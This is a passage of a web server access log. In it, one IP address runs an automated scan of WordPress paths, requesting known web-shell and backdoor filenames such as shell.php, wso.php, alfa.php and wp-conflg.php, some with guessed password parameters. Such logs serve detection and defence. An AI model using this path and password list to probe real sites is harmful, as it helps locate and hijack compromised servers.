/wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:05 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:06 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:07 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:08 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:09 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:10 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:10 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:11 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:12 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:13 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:14 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:14 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:15 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:15 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:16 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:17 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:18 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:18 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:19 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:20 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:21 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:22 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:22 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:23 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:24 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:24 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:25 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:26 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:26 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:27 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:29 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:29 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:30 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:31 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:31 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:32 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:33 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:33 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:34 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:34 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:35 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:36 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:36 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:37 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:37 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:38 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:39 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:39 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:40 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:40 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:41 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:42 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:42 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:43 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:44 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:44 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:45 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:45 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:46 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:47 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:47 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:48 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:48 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:49 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:50 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:50 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:51 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:51 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:52 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:53 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:53 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:54 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:54 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:55 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:56 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:56 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:57 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:57 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:58 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:59 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:59 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:00 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:00 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:01 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:01 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:02 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:03 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:03 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:04 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:04 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:05 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:06 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:06 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:07 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:08 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:08 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:09 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:10 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:11 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:11 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:12 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:13 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:13 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:14 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:14 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:15 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:16 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:16 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:17 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:18 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:18 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:19 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:19 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:20 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:21 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:21 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:22 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:22 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:23 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:24 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:24 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:25 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:25 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:26 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:26 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:27 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:28 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:28 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:29 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:29 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:30 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:31 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:31 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:32 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:33 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:34 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:35 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:35 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:36 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:36 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:37 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:38 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:38 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:39 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:39 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:40 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:40 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:41 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:42 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:42 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:43 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:43 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:44 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:44 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:45 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:46 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:46 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:47 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:47 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:48 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:48 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:49 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:50 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:50 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:51 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:51 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:52 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:53 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:53 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:54 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:55 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:55 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:56 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:56 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:57 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:57 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:58 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:59 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:18:59 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:00 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:01 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:02 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:02 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:03 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:04 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:04 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:05 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:06 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:06 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:07 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:07 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:08 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:09 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:10 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:10 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:11 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:11 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:12 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:13 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:13 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:14 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:14 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:15 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:16 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:16 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:17 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:17 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:18 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:18 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:19 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:20 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:20 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:21 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:21 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:22 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:23 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:23 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:24 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:24 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:25 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:19:26 -0400] "GET 